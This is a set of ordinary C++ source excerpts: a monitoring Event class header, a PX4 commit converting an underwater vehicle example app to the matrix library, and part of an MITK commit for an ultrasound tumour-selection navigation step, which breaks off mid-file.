namespace monitor {
enum EventScope
{
kAuthScope = 0,
kSessionScope = 1
};
#define kAuthLoginEvent 1001
#define kAuthLogoutEvent 1002
#define kSessionStartEvent 2001
#define kSessionSuicideEvent 2002
#define kSessionSuspendEvent 2003
#define kSessionQuitEvent 2004
#define kSessionExitEvent 2005
class Event
{
public:
Event()
: empty_(true)
{
}
Event(EventScope scope,
int id,
const std::string& data = std::string(),
const std::string& username = core::system::username(),
PidType pid = core::system::currentProcessId(),
boost::posix_time::ptime timestamp =
boost::posix_time::microsec_clock::universal_time())
: empty_(false),
scope_(scope),
id_(id),
username_(username),
pid_(pid),
timestamp_(timestamp),
data_(data)
{
}
public:
bool empty() const { return empty_; }
EventScope scope() const { return scope_; }
int id() const { return id_; }
const std::string& username() const { return username_; }
PidType pid() const { return pid_; }
boost::posix_time::ptime timestamp() const { return timestamp_; }
const std::string& data() const { return data_; }
private:
bool empty_;
EventScope scope_;
int id_;
std::string username_;
PidType pid_;
boost::posix_time::ptime timestamp_;
std::string data_;
};
std::ostream& operator<<(std::ostream& ostr, const Event& event);
} // namespace monitor
#endif // MONITOR_EVENTS_EVENT_HPP
<|endoftext|>
|
<commit_before>/****************************************************************************
*
* Copyright (c) 2012-2016 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @file uuv_example_app.cpp
*
* This file let the hippocampus drive in a circle and prints the orientation as well as the acceleration data.
* The HippoCampus is an autonomous underwater vehicle (AUV) designed by the Technical University Hamburg-Harburg (TUHH).
* https://www.tuhh.de/mum/forschung/forschungsgebiete-und-projekte/flow-field-estimation-with-a-swarm-of-auvs.html
*
* @author Nils Rottann <Nils.Rottmann@tuhh.de>
*/
#include <px4_config.h>
#include <px4_tasks.h>
#include <px4_posix.h>
#include <unistd.h>
#include <stdio.h>
#include <poll.h>
#include <string.h>
#include <math.h>
// system libraries
#include <systemlib/param/param.h>
#include <systemlib/err.h>
#include <systemlib/perf_counter.h>
#include <systemlib/systemlib.h>
#include <systemlib/circuit_breaker.h>
// internal libraries
#include <lib/mathlib/mathlib.h>
#include <lib/geo/geo.h>
// Include uORB and the required topics for this app
#include <uORB/uORB.h>
#include <uORB/topics/sensor_combined.h> // this topics hold the acceleration data
#include <uORB/topics/actuator_controls.h> // this topic gives the actuators control input
#include <uORB/topics/vehicle_attitude.h> // this topic holds the orientation of the hippocampus
extern "C" __EXPORT int uuv_example_app_main(int argc, char *argv[]);
int uuv_example_app_main(int argc, char *argv[])
{
PX4_INFO("auv_hippocampus_example_app has been started!");
/* subscribe to sensor_combined topic */
int sensor_sub_fd = orb_subscribe(ORB_ID(sensor_combined));
/* limit the update rate to 5 Hz */
orb_set_interval(sensor_sub_fd, 200);
/* subscribe to control_state topic */
int vehicle_attitude_sub_fd = orb_subscribe(ORB_ID(vehicle_attitude));
/* limit the update rate to 5 Hz */
orb_set_interval(vehicle_attitude_sub_fd, 200);
/* advertise to actuator_control topic */
struct actuator_controls_s act;
memset(&act, 0, sizeof(act));
orb_advert_t act_pub = orb_advertise(ORB_ID(actuator_controls_0), &act);
/* one could wait for multiple topics with this technique, just using one here */
px4_pollfd_struct_t fds[] = {
{ .fd = sensor_sub_fd, .events = POLLIN },
{ .fd = vehicle_attitude_sub_fd, .events = POLLIN },
};
int error_counter = 0;
for (int i = 0; i < 10; i++) {
/* wait for sensor update of 1 file descriptor for 1000 ms (1 second) */
int poll_ret = px4_poll(fds, 1, 1000);
/* handle the poll result */
if (poll_ret == 0) {
/* this means none of our providers is giving us data */
PX4_ERR("Got no data within a second");
} else if (poll_ret < 0) {
/* this is seriously bad - should be an emergency */
if (error_counter < 10 || error_counter % 50 == 0) {
/* use a counter to prevent flooding (and slowing us down) */
PX4_ERR("ERROR return value from poll(): %d", poll_ret);
}
error_counter++;
} else {
if (fds[0].revents & POLLIN) {
/* obtained data for the first file descriptor */
struct sensor_combined_s raw_sensor;
/* copy sensors raw data into local buffer */
orb_copy(ORB_ID(sensor_combined), sensor_sub_fd, &raw_sensor);
// printing the sensor data into the terminal
PX4_INFO("Acc:\t%8.4f\t%8.4f\t%8.4f",
(double)raw_sensor.accelerometer_m_s2[0],
(double)raw_sensor.accelerometer_m_s2[1],
(double)raw_sensor.accelerometer_m_s2[2]);
/* obtained data for the third file descriptor */
struct vehicle_attitude_s raw_ctrl_state;
/* copy sensors raw data into local buffer */
orb_copy(ORB_ID(vehicle_attitude), vehicle_attitude_sub_fd, &raw_ctrl_state);
// get current rotation matrix from control state quaternions, the quaternions are generated by the
// attitude_estimator_q application using the sensor data
math::Quaternion q_att(raw_ctrl_state.q[0], raw_ctrl_state.q[1], raw_ctrl_state.q[2],
raw_ctrl_state.q[3]); // control_state is frequently updated
math::Matrix<3, 3> R =
q_att.to_dcm(); // create rotation matrix for the quaternion when post multiplying with a column vector
// orientation vectors
math::Vector<3> x_B(R(0, 0), R(1, 0), R(2, 0)); // orientation body x-axis (in world coordinates)
math::Vector<3> y_B(R(0, 1), R(1, 1), R(2, 1)); // orientation body y-axis (in world coordinates)
math::Vector<3> z_B(R(0, 2), R(1, 2), R(2, 2)); // orientation body z-axis (in world coordinates)
PX4_INFO("x_B:\t%8.4f\t%8.4f\t%8.4f",
(double)x_B(0),
(double)x_B(1),
(double)x_B(2));
PX4_INFO("y_B:\t%8.4f\t%8.4f\t%8.4f",
(double)y_B(0),
(double)y_B(1),
(double)y_B(2));
PX4_INFO("z_B:\t%8.4f\t%8.4f\t%8.4f \n",
(double)z_B(0),
(double)z_B(1),
(double)z_B(2));
}
}
// Give actuator input to the HippoC, this will result in a circle
act.control[0] = 0.0f; // roll
act.control[1] = 0.0f; // pitch
act.control[2] = 1.0f; // yaw
act.control[3] = 1.0f; // thrust
orb_publish(ORB_ID(actuator_controls_0), act_pub, &act);
}
PX4_INFO("Exiting uuv_example_app!");
return 0;
}
<commit_msg>uuv_example_app move to matrix lib<commit_after>/****************************************************************************
*
* Copyright (c) 2012-2016 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @file uuv_example_app.cpp
*
* This file let the hippocampus drive in a circle and prints the orientation as well as the acceleration data.
* The HippoCampus is an autonomous underwater vehicle (AUV) designed by the Technical University Hamburg-Harburg (TUHH).
* https://www.tuhh.de/mum/forschung/forschungsgebiete-und-projekte/flow-field-estimation-with-a-swarm-of-auvs.html
*
* @author Nils Rottann <Nils.Rottmann@tuhh.de>
*/
#include <px4_config.h>
#include <px4_tasks.h>
#include <px4_posix.h>
#include <unistd.h>
#include <stdio.h>
#include <poll.h>
#include <string.h>
#include <math.h>
// system libraries
#include <systemlib/param/param.h>
#include <systemlib/err.h>
#include <systemlib/perf_counter.h>
#include <systemlib/systemlib.h>
#include <systemlib/circuit_breaker.h>
// internal libraries
#include <lib/mathlib/mathlib.h>
#include <lib/geo/geo.h>
// Include uORB and the required topics for this app
#include <uORB/uORB.h>
#include <uORB/topics/sensor_combined.h> // this topics hold the acceleration data
#include <uORB/topics/actuator_controls.h> // this topic gives the actuators control input
#include <uORB/topics/vehicle_attitude.h> // this topic holds the orientation of the hippocampus
extern "C" __EXPORT int uuv_example_app_main(int argc, char *argv[]);
int uuv_example_app_main(int argc, char *argv[])
{
PX4_INFO("auv_hippocampus_example_app has been started!");
/* subscribe to sensor_combined topic */
int sensor_sub_fd = orb_subscribe(ORB_ID(sensor_combined));
/* limit the update rate to 5 Hz */
orb_set_interval(sensor_sub_fd, 200);
/* subscribe to control_state topic */
int vehicle_attitude_sub_fd = orb_subscribe(ORB_ID(vehicle_attitude));
/* limit the update rate to 5 Hz */
orb_set_interval(vehicle_attitude_sub_fd, 200);
/* advertise to actuator_control topic */
struct actuator_controls_s act;
memset(&act, 0, sizeof(act));
orb_advert_t act_pub = orb_advertise(ORB_ID(actuator_controls_0), &act);
/* one could wait for multiple topics with this technique, just using one here */
px4_pollfd_struct_t fds[] = {
{ .fd = sensor_sub_fd, .events = POLLIN },
{ .fd = vehicle_attitude_sub_fd, .events = POLLIN },
};
int error_counter = 0;
for (int i = 0; i < 10; i++) {
/* wait for sensor update of 1 file descriptor for 1000 ms (1 second) */
int poll_ret = px4_poll(fds, 1, 1000);
/* handle the poll result */
if (poll_ret == 0) {
/* this means none of our providers is giving us data */
PX4_ERR("Got no data within a second");
} else if (poll_ret < 0) {
/* this is seriously bad - should be an emergency */
if (error_counter < 10 || error_counter % 50 == 0) {
/* use a counter to prevent flooding (and slowing us down) */
PX4_ERR("ERROR return value from poll(): %d", poll_ret);
}
error_counter++;
} else {
if (fds[0].revents & POLLIN) {
/* obtained data for the first file descriptor */
struct sensor_combined_s raw_sensor;
/* copy sensors raw data into local buffer */
orb_copy(ORB_ID(sensor_combined), sensor_sub_fd, &raw_sensor);
// printing the sensor data into the terminal
PX4_INFO("Acc:\t%8.4f\t%8.4f\t%8.4f",
(double)raw_sensor.accelerometer_m_s2[0],
(double)raw_sensor.accelerometer_m_s2[1],
(double)raw_sensor.accelerometer_m_s2[2]);
/* obtained data for the third file descriptor */
struct vehicle_attitude_s raw_ctrl_state;
/* copy sensors raw data into local buffer */
orb_copy(ORB_ID(vehicle_attitude), vehicle_attitude_sub_fd, &raw_ctrl_state);
// get current rotation matrix from control state quaternions, the quaternions are generated by the
// attitude_estimator_q application using the sensor data
matrix::Quatf q_att(raw_ctrl_state.q); // control_state is frequently updated
matrix::Dcmf R = q_att; // create rotation matrix for the quaternion when post multiplying with a column vector
// orientation vectors
matrix::Vector3f x_B(R(0, 0), R(1, 0), R(2, 0)); // orientation body x-axis (in world coordinates)
matrix::Vector3f y_B(R(0, 1), R(1, 1), R(2, 1)); // orientation body y-axis (in world coordinates)
matrix::Vector3f z_B(R(0, 2), R(1, 2), R(2, 2)); // orientation body z-axis (in world coordinates)
PX4_INFO("x_B:\t%8.4f\t%8.4f\t%8.4f",
(double)x_B(0),
(double)x_B(1),
(double)x_B(2));
PX4_INFO("y_B:\t%8.4f\t%8.4f\t%8.4f",
(double)y_B(0),
(double)y_B(1),
(double)y_B(2));
PX4_INFO("z_B:\t%8.4f\t%8.4f\t%8.4f \n",
(double)z_B(0),
(double)z_B(1),
(double)z_B(2));
}
}
// Give actuator input to the HippoC, this will result in a circle
act.control[0] = 0.0f; // roll
act.control[1] = 0.0f; // pitch
act.control[2] = 1.0f; // yaw
act.control[3] = 1.0f; // thrust
orb_publish(ORB_ID(actuator_controls_0), act_pub, &act);
}
PX4_INFO("Exiting uuv_example_app!");
return 0;
}
<|endoftext|>
|
<commit_before>/*===================================================================
The Medical Imaging Interaction Toolkit (MITK)
Copyright (c) German Cancer Research Center,
Division of Medical and Biological Informatics.
All rights reserved.
This software is distributed WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE.
See LICENSE.txt or http://www.mitk.org for details.
===================================================================*/
#include "QmitkUSNavigationStepTumourSelection.h"
#include "ui_QmitkUSNavigationStepTumourSelection.h"
#include "usModuleRegistry.h"
#include "mitkDataNode.h"
#include "mitkSurface.h"
#include "mitkUSCombinedModality.h"
#include "../Interactors/mitkUSZonesInteractor.h"
#include "mitkNodeDisplacementFilter.h"
#include "QmitkUSNavigationStepCombinedModality.h"
#include "../QmitkUSNavigationMarkerPlacement.h"
#include "mitkIOUtil.h"
#include "vtkSmartPointer.h"
#include "vtkDoubleArray.h"
#include "vtkPolyData.h"
#include "vtkPointData.h"
#include "vtkWarpScalar.h"
QmitkUSNavigationStepTumourSelection::QmitkUSNavigationStepTumourSelection(QWidget* parent) :
QmitkUSAbstractNavigationStep(parent),
m_targetSelectionOptional(false),
m_SecurityDistance(0),
m_Interactor(mitk::USZonesInteractor::New()),
m_NodeDisplacementFilter(mitk::NodeDisplacementFilter::New()),
m_StateMachineFilename("USZoneInteractions.xml"),
m_ReferenceSensorIndex(1),
m_ListenerChangeNode(this, &QmitkUSNavigationStepTumourSelection::TumourNodeChanged),
ui(new Ui::QmitkUSNavigationStepTumourSelection)
{
ui->setupUi(this);
connect(ui->freezeImageButton, SIGNAL(SignalFreezed(bool)), this, SLOT(OnFreeze(bool)));
connect(ui->tumourSizeSlider, SIGNAL(valueChanged(int)), this, SLOT(OnTumourSizeChanged(int)));
connect(ui->deleteTumourButton, SIGNAL(clicked()), this, SLOT(OnDeleteButtonClicked()));
m_SphereColor = mitk::Color();
//default color: green
m_SphereColor[0] = 0;
m_SphereColor[1] = 255;
m_SphereColor[2] = 0;
}
void QmitkUSNavigationStepTumourSelection::SetTumorColor(mitk::Color c)
{
m_SphereColor = c;
}
void QmitkUSNavigationStepTumourSelection::SetTargetSelectionOptional(bool t)
{
m_targetSelectionOptional = t;
}
QmitkUSNavigationStepTumourSelection::~QmitkUSNavigationStepTumourSelection()
{
delete ui;
}
bool QmitkUSNavigationStepTumourSelection::OnStartStep()
{
m_TumourNode = this->GetNamedDerivedNodeAndCreate(
QmitkUSNavigationMarkerPlacement::DATANAME_TUMOUR,
QmitkUSAbstractNavigationStep::DATANAME_BASENODE);
m_TumourNode->SetColor(m_SphereColor[0], m_SphereColor[1], m_SphereColor[2]);
// load state machine and event config for data interactor
m_Interactor->LoadStateMachine(m_StateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
m_Interactor->SetEventConfig("globalConfig.xml");
this->GetDataStorage()->ChangedNodeEvent.AddListener(m_ListenerChangeNode);
m_TargetSurfaceNode = this->GetNamedDerivedNodeAndCreate(
QmitkUSNavigationMarkerPlacement::DATANAME_TARGETSURFACE,
QmitkUSNavigationMarkerPlacement::DATANAME_TUMOUR);
// do not show the surface until this is requested
m_TargetSurfaceNode->SetBoolProperty("visible", false);
// make sure that scalars will be renderer on the surface
m_TargetSurfaceNode->SetBoolProperty("scalar visibility", true);
m_TargetSurfaceNode->SetBoolProperty("color mode", true);
m_TargetSurfaceNode->SetBoolProperty("Backface Culling", true);
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnStopStep()
{
// make sure that imaging isn't freezed anymore
ui->freezeImageButton->Unfreeze();
m_NodeDisplacementFilter->ResetNodes();
mitk::DataStorage::Pointer dataStorage = this->GetDataStorage(false);
if (dataStorage.IsNotNull())
{
// remove target surface node from data storage, if available there
if (m_TargetSurfaceNode.IsNotNull()) { dataStorage->Remove(m_TargetSurfaceNode); }
dataStorage->ChangedNodeEvent.RemoveListener(m_ListenerChangeNode);
dataStorage->Remove(m_TumourNode);
m_TumourNode = 0;
}
MITK_INFO("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Removing tumour.";
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnRestartStep()
{
ui->tumourSizeExplanationLabel->setEnabled(false);
ui->tumourSizeLabel->setEnabled(false);
ui->tumourSizeSlider->setEnabled(false);
ui->deleteTumourButton->setEnabled(false);
ui->tumourSizeSlider->blockSignals(true);
ui->tumourSizeSlider->setValue(0);
ui->tumourSizeSlider->blockSignals(false);
emit SignalNoLongerReadyForNextStep();
return QmitkUSAbstractNavigationStep::OnRestartStep();
}
bool QmitkUSNavigationStepTumourSelection::OnFinishStep()
{
// make sure that the surface has the right extent (in case the
// tumor size was changed since the initial surface creation)
m_TargetSurfaceNode->SetData(this->CreateTargetSurface());
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnActivateStep()
{
m_Interactor = mitk::USZonesInteractor::New();
m_Interactor->LoadStateMachine(m_StateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
m_Interactor->SetEventConfig("globalConfig.xml");
m_NodeDisplacementFilter->SelectInput(m_ReferenceSensorIndex);
//target selection is optional
if (m_targetSelectionOptional) { emit SignalReadyForNextStep(); }
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnDeactivateStep()
{
m_Interactor->SetDataNode(0);
bool value;
if (m_TumourNode.IsNotNull() && !(m_TumourNode->GetBoolProperty("zone.created", value) && value))
{
m_TumourNode->SetData(0);
}
// make sure that imaging isn't freezed anymore
ui->freezeImageButton->Unfreeze();
return true;
}
void QmitkUSNavigationStepTumourSelection::OnUpdate()
{
if (m_NavigationDataSource.IsNull()) { return; }
m_NavigationDataSource->Update();
bool valid = m_NavigationDataSource->GetOutput(m_ReferenceSensorIndex)->IsDataValid();
if (valid)
{
ui->bodyMarkerTrackingStatusLabel->setStyleSheet(
"background-color: #8bff8b; margin-right: 1em; margin-left: 1em; border: 1px solid grey");
ui->bodyMarkerTrackingStatusLabel->setText("Body marker is inside the tracking volume.");
}
else
{
ui->bodyMarkerTrackingStatusLabel->setStyleSheet(
"background-color: #ff7878; margin-right: 1em; margin-left: 1em; border: 1px solid grey");
ui->bodyMarkerTrackingStatusLabel->setText("Body marker is not inside the tracking volume.");
}
ui->freezeImageButton->setEnabled(valid);
bool created;
if (m_TumourNode.IsNull() || !m_TumourNode->GetBoolProperty("zone.created", created) || !created)
{
ui->tumourSearchExplanationLabel->setEnabled(valid);
}
}
void QmitkUSNavigationStepTumourSelection::OnSettingsChanged(const itk::SmartPointer<mitk::DataNode> settingsNode)
{
if (settingsNode.IsNull()) { return; }
float securityDistance;
if (settingsNode->GetFloatProperty("settings.security-distance", securityDistance))
{
m_SecurityDistance = securityDistance;
}
std::string stateMachineFilename;
if (settingsNode->GetStringProperty("settings.interaction-concept", stateMachineFilename) && stateMachineFilename != m_StateMachineFilename)
{
m_StateMachineFilename = stateMachineFilename;
m_Interactor->LoadStateMachine(stateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
}
std::string referenceSensorName;
if (settingsNode->GetStringProperty("settings.reference-name-selected", referenceSensorName))
{
m_ReferenceSensorName = referenceSensorName;
}
this->UpdateReferenceSensorName();
}
QString QmitkUSNavigationStepTumourSelection::GetTitle()
{
return "Localisation of Tumour Position";
}
QmitkUSAbstractNavigationStep::FilterVector QmitkUSNavigationStepTumourSelection::GetFilter()
{
return FilterVector(1, m_NodeDisplacementFilter.GetPointer());
}
void QmitkUSNavigationStepTumourSelection::OnFreeze(bool freezed)
{
if (freezed) this->GetCombinedModality()->SetIsFreezed(true);
ui->tumourSelectionExplanation1Label->setEnabled(freezed);
ui->tumourSelectionExplanation2Label->setEnabled(freezed);
if (freezed)
{
if (!m_TumourNode->GetData())
{
// load state machine and event config for data interactor
m_Interactor->LoadStateMachine(m_StateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
m_Interactor->SetEventConfig("globalConfig.xml");
m_Interactor->SetDataNode(m_TumourNode);
// feed reference pose to node displacement filter
m_NodeDisplacementFilter->SetInitialReferencePose(this->GetCombinedModality()->GetNavigationDataSource()->GetOutput(m_ReferenceSensorIndex)->Clone());
}
}
else
{
bool value;
if (m_TumourNode->GetBoolProperty("zone.created", value) && value)
{
ui->freezeImageButton->setEnabled(false);
ui->tumourSearchExplanationLabel->setEnabled(false);
}
}
if (!freezed) this->GetCombinedModality()->SetIsFreezed(false);
}
void QmitkUSNavigationStepTumourSelection::OnSetCombinedModality()
{
mitk::USCombinedModality::Pointer combinedModality = this->GetCombinedModality(false);
if (combinedModality.IsNotNull())
{
m_NavigationDataSource = combinedModality->GetNavigationDataSource();
}
else
{
m_NavigationDataSource = 0;
}
ui->freezeImageButton->SetCombinedModality(combinedModality, m_ReferenceSensorIndex);
this->UpdateReferenceSensorName();
}
void QmitkUSNavigationStepTumourSelection::OnTumourSizeChanged(int size)
{
m_TumourNode->SetFloatProperty("zone.size", static_cast<float>(size));
mitk::USZonesInteractor::UpdateSurface(m_TumourNode);
MITK_INFO("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Changing tumour radius to " << size << ".";
}
void QmitkUSNavigationStepTumourSelection::OnDeleteButtonClicked()
{
this->OnRestartStep();
}
void QmitkUSNavigationStepTumourSelection::TumourNodeChanged(const mitk::DataNode* dataNode)
{
// only changes of tumour node are of interest
if (dataNode != m_TumourNode) { return; }
float size;
dataNode->GetFloatProperty("zone.size", size);
ui->tumourSizeSlider->setValue(static_cast<int>(size));
bool created;
if (dataNode->GetBoolProperty("zone.created", created) && created)
{
if (ui->freezeImageButton->isChecked())
{
m_NodeDisplacementFilter->AddNode(const_cast<mitk::DataNode*>(dataNode));
m_TargetSurfaceNode->SetData(this->CreateTargetSurface());
m_NodeDisplacementFilter->AddNode(m_TargetSurfaceNode);
MITK_INFO("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Tumour created with center " << dataNode->GetData()->GetGeometry()->GetOrigin()
<< " and radius " << size << ".";
mitk::DataNode::Pointer tumourResultNode = mitk::DataNode::New();
tumourResultNode->SetName("TumourResult");
tumourResultNode->SetProperty("USNavigation::TumourCenter",
mitk::Point3dProperty::New(dataNode->GetData()->GetGeometry()->GetOrigin()));
tumourResultNode->SetProperty("USNavigation::TumourRadius", mitk::DoubleProperty::New(size));
emit SignalIntermediateResult(tumourResultNode);
ui->freezeImageButton->Unfreeze();
}
ui->tumourSearchExplanationLabel->setEnabled(false);
ui->tumourSizeExplanationLabel->setEnabled(true);
ui->tumourSizeLabel->setEnabled(true);
ui->tumourSizeSlider->setEnabled(true);
ui->deleteTumourButton->setEnabled(true);
emit SignalReadyForNextStep();
}
}
mitk::Surface::Pointer QmitkUSNavigationStepTumourSelection::CreateTargetSurface()
{
mitk::Surface::Pointer tumourSurface = dynamic_cast<mitk::Surface*>(m_TumourNode->GetData());
if (tumourSurface.IsNull())
{
MITK_WARN << "No target selected, cannot create surface!";
return mitk::Surface::New(); //return a empty surface in this case...
}
// make a deep copy of the tumour surface polydata
vtkSmartPointer<vtkPolyData> tumourSurfaceVtk = vtkSmartPointer<vtkPolyData>::New();
tumourSurfaceVtk->DeepCopy(tumourSurface->GetVtkPolyData());
// create scalars for moving every point the same size onto its normal vector
vtkSmartPointer<vtkDoubleArray> scalars = vtkSmartPointer<vtkDoubleArray>::New();
int numberOfPoints = tumourSurfaceVtk->GetNumberOfPoints();
scalars->SetNumberOfTuples(numberOfPoints);
// set scalars for warp filter
for (vtkIdType i = 0; i < numberOfPoints; ++i) { scalars->SetTuple1(i, m_SecurityDistance * 10); }
tumourSurfaceVtk->GetPointData()->SetScalars(scalars);
vtkSmartPointer<vtkWarpScalar> warpScalar = vtkSmartPointer<vtkWarpScalar>::New();
warpScalar->SetInputData(tumourSurfaceVtk);
warpScalar->SetScaleFactor(1); // use the scalars themselves
warpScalar->Update();
vtkSmartPointer<vtkPolyData> targetSurfaceVtk = warpScalar->GetPolyDataOutput();
// set the moved points to the deep copied tumour surface; this is
// necessary as setting the targetSurfaceVtk as polydata for the
// targetSurface would result in flat shading for the surface (seems
// to be a bug in MITK or VTK)
tumourSurfaceVtk->SetPoints(targetSurfaceVtk->GetPoints());
mitk::Surface::Pointer targetSurface = mitk::Surface::New();
targetSurface->SetVtkPolyData(tumourSurfaceVtk);
targetSurface->GetGeometry()->SetOrigin(tumourSurface->GetGeometry()->GetOrigin());
return targetSurface;
}
itk::SmartPointer<mitk::NodeDisplacementFilter> QmitkUSNavigationStepTumourSelection::GetTumourNodeDisplacementFilter()
{
return m_NodeDisplacementFilter;
}
void QmitkUSNavigationStepTumourSelection::UpdateReferenceSensorName()
{
if (m_NavigationDataSource.IsNull()) { return; }
if (!m_ReferenceSensorName.empty())
{
try
{
m_ReferenceSensorIndex = m_NavigationDataSource->GetOutputIndex(m_ReferenceSensorName);
}
catch (const std::exception &e)
{
MITK_WARN("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Cannot get index for reference sensor name: " << e.what();
}
}
if (this->GetNavigationStepState() >= QmitkUSAbstractNavigationStep::State_Active)
{
m_NodeDisplacementFilter->SelectInput(m_ReferenceSensorIndex);
}
ui->freezeImageButton->SetCombinedModality(this->GetCombinedModality(false), m_ReferenceSensorIndex);
}
<commit_msg>In the call from OnDeleteButtonClicked it emits a signal that not used in this file and neither connected to any function.<commit_after>/*===================================================================
The Medical Imaging Interaction Toolkit (MITK)
Copyright (c) German Cancer Research Center,
Division of Medical and Biological Informatics.
All rights reserved.
This software is distributed WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE.
See LICENSE.txt or http://www.mitk.org for details.
===================================================================*/
#include "QmitkUSNavigationStepTumourSelection.h"
#include "ui_QmitkUSNavigationStepTumourSelection.h"
#include "usModuleRegistry.h"
#include "mitkDataNode.h"
#include "mitkSurface.h"
#include "mitkUSCombinedModality.h"
#include "../Interactors/mitkUSZonesInteractor.h"
#include "mitkNodeDisplacementFilter.h"
#include "QmitkUSNavigationStepCombinedModality.h"
#include "../QmitkUSNavigationMarkerPlacement.h"
#include "mitkIOUtil.h"
#include "vtkSmartPointer.h"
#include "vtkDoubleArray.h"
#include "vtkPolyData.h"
#include "vtkPointData.h"
#include "vtkWarpScalar.h"
QmitkUSNavigationStepTumourSelection::QmitkUSNavigationStepTumourSelection(QWidget* parent) :
QmitkUSAbstractNavigationStep(parent),
m_targetSelectionOptional(false),
m_SecurityDistance(0),
m_Interactor(mitk::USZonesInteractor::New()),
m_NodeDisplacementFilter(mitk::NodeDisplacementFilter::New()),
m_StateMachineFilename("USZoneInteractions.xml"),
m_ReferenceSensorIndex(1),
m_ListenerChangeNode(this, &QmitkUSNavigationStepTumourSelection::TumourNodeChanged),
ui(new Ui::QmitkUSNavigationStepTumourSelection)
{
ui->setupUi(this);
connect(ui->freezeImageButton, SIGNAL(SignalFreezed(bool)), this, SLOT(OnFreeze(bool)));
connect(ui->tumourSizeSlider, SIGNAL(valueChanged(int)), this, SLOT(OnTumourSizeChanged(int)));
connect(ui->deleteTumourButton, SIGNAL(clicked()), this, SLOT(OnDeleteButtonClicked()));
m_SphereColor = mitk::Color();
//default color: green
m_SphereColor[0] = 0;
m_SphereColor[1] = 255;
m_SphereColor[2] = 0;
}
void QmitkUSNavigationStepTumourSelection::SetTumorColor(mitk::Color c)
{
m_SphereColor = c;
}
void QmitkUSNavigationStepTumourSelection::SetTargetSelectionOptional(bool t)
{
m_targetSelectionOptional = t;
}
QmitkUSNavigationStepTumourSelection::~QmitkUSNavigationStepTumourSelection()
{
delete ui;
}
bool QmitkUSNavigationStepTumourSelection::OnStartStep()
{
m_TumourNode = this->GetNamedDerivedNodeAndCreate(
QmitkUSNavigationMarkerPlacement::DATANAME_TUMOUR,
QmitkUSAbstractNavigationStep::DATANAME_BASENODE);
m_TumourNode->SetColor(m_SphereColor[0], m_SphereColor[1], m_SphereColor[2]);
// load state machine and event config for data interactor
m_Interactor->LoadStateMachine(m_StateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
m_Interactor->SetEventConfig("globalConfig.xml");
this->GetDataStorage()->ChangedNodeEvent.AddListener(m_ListenerChangeNode);
m_TargetSurfaceNode = this->GetNamedDerivedNodeAndCreate(
